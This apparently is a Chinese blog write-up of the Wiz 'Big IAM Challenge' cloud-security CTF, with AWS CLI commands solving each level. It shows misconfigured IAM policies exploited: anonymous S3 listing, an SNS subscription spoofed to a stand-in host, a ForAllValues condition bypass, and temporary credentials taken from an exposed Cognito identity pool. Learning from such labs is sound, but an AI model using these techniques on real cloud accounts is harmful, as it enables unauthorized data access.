在学习云安全的时候发现有个 WIZ IAM 挑战赛,开练!

官方介绍:https://www.wiz.io/blog/the-big-iam-challenge

Buckets of Fun

We all know that public buckets are risky. But can you find the flag?

题目给出了IAM Policy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
}
}
}
]
}

从官方文档中可以看到 JSON 策略:https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies.html

即允许所有人匿名访问该S3存储桶中的对象,并且允许列出存储桶中以files/*开头的对象

该S3 Bucket的URL为:

1
https://thebigiamchallenge-storage-9979f4b.s3.amazonaws.com/

访问即可得到flag

Google Analytics

We created our own analytics system specifically for this challenge. We think it’s so good that we even used it on this page. What could go wrong?

Join our queue and get the secret flag.

IAM Policy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": [
"sqs:SendMessage",
"sqs:ReceiveMessage"
],
"Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
}
]
}

允许所有人对wiz-tbic-analytics-sqs-queue-ca7a1b2这个SQS消息队列发送和接收消息
Amazon Simple Queue Service:https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/welcome.html
Amazon SQS API:https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sqs/index.html

可以使用receive-message接口接收消息,存在两种请求方式:

1
2
aws sqs receive-message --queue-url https://queue.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2
aws sqs receive-message --queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2

访问这个URL即可得到flag

Enable Push Notifications

We got a message for you. Can you get it?

IAM Policy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"Version": "2008-10-17",
"Id": "Statement1",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
"Condition": {
"StringLike": {
"sns:Endpoint": "*@tbic.wiz.io"
}
}
}
]
}

该策略允许所有人对指定的SNS主题:TBICWizPushNotifications进行订阅操作,但是限制 Endpoint 必须以@tbic.wiz.io结尾

Amazon SNS:https://docs.aws.amazon.com/zh_cn/sns/latest/dg/welcome.html
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sns/subscribe.html

可以看到支持http协议,那么就可以使用http://RHOST:RPORT/@tbic.wiz.io进行伪造

1
aws sns subscribe --protocol http --notification-endpoint http://x.x.x.x:6666/@tbic.wiz.io --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications

进行订阅后还需要确认,可以点击SubscribeURL通过URL确认订阅消息,也可以通过confirm-subscriptio接口传token

1
aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token xxxxx

Admin only?

We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?

IAM Policy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:GetObject",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:ListBucket",
"Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
"Condition": {
"StringLike": {
"s3:prefix": "files/*"
},
"ForAllValues:StringLike": {
"aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
}
}
}
]
}

这个存储桶只对arn:aws:iam::133713371337:user/admin主体授予了 ListBucket 权限
绕过ForAllValues:https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html#reference_policies_condition-multi-valued-context-keys

如果请求中没有上下文键或者上下文键值解析为空数据集(如空字符串),则也会返回 true

那么我们就可以使用参数--no-sign-request匿名访问,aws s3 使用的是 apiv2 ,调用 apiv1,可以利用 aws s3api 来实现

1
2
aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --prefix 'files/' --no-sign-request

也可以使用URL方式访问:

1
https://thebigiamchallenge-admin-storage-abf1321.s3.amazonaws.com/?prefix=files/

Do I know you?

We configured AWS Cognito as our main identity provider. Let’s hope we didn’t make any mistakes.

IAM Policy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": [
"mobileanalytics:PutEvents",
"cognito-sync:*"
],
"Resource": "*"
},
{
"Sid": "VisualEditor1",
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::wiz-privatefiles",
"arn:aws:s3:::wiz-privatefiles/*"
]
}
]
}

题目提示了AWS Cognito,即Amazon Cognito:https://docs.aws.amazon.com/zh_cn/cognito/latest/developerguide/what-is-amazon-cognito.html

Amazon Cognito 是 Web 和移动应用程序的身份平台。它是用户目录、身份验证服务器以及 OAuth 2.0 访问令牌和 AWS 凭证的授权服务。使用 Amazon Cognito,您可以对内置用户目录、企业目录以及 Google 和 Facebook 等使用者身份提供者中的用户进行身份验证和授权
Amazon Cognito 的两个主要组件是用户池和身份池。用户池是为您的 Web 和移动应用程序用户提供注册和登录选项的用户目录。身份池提供AWS凭证以向用户授予对其他AWS服务的访问权限

需要先创建一个 Amazon Cognito 身份池,然后通过身份池 ID 去调用 SDK 获取临时凭证,最后通过临时凭证去操作资源

可以在网页的源代码内发现这个身份池 ID

获取Amazon Cognito 身份 ID

1
aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b

获取 Amazon Cognito 身份 ID 的凭证

1
aws cognito-identity get-credentials-for-identity --identity-id us-east-1:640e98be-6eea-4a4b-9336-a50f640fed93

然后配置该身份凭证:

1
2
3
aws configure set aws_access_key_id xxx
aws configure set aws_secret_access_key xxx
aws configure set aws_session_token xxx

最后通过cp下载flag1.txt文件即可

其实也可以使用python的boto3库完成所有操作

可参考文章:
Hacking AWS Cognito Misconfigurations

One final push

Anonymous access no more. Let’s see what can you do now.
Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role

IAM Policy:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
}
}
}
]
}

cognito-identity服务进行身份验证时,可以使用sts:AssumeRoleWithWebIdentity操作请求临时凭证进行验证身份
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/assume-role-with-web-identity.html

需要三个参数:

  1. --role-arn:为题目提供的arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role
  2. --role-session-name:这个随意填
  3. --web-identity-token:需要通过身份池ID获得

先获取到它的身份 ID

1
aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b

然后使用这个身份 ID 获取 Token

1
aws cognito-identity get-open-id-token --identity-id us-east-1:5649999b-ca2a-4cdd-96ff-75f5a066dbec

最后调用assume-role-with-web-identity生成STS

1
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取到的token令牌

最后就是AWS CLI配置这个STS,列出当前存储桶

1
2
aws s3 ls
aws s3api get-object --bucket wiz-privatefiles-x1000 --key flag2.txt flag2.txt

最后在 wiz-privatefiles-x1000 存储桶下找到flag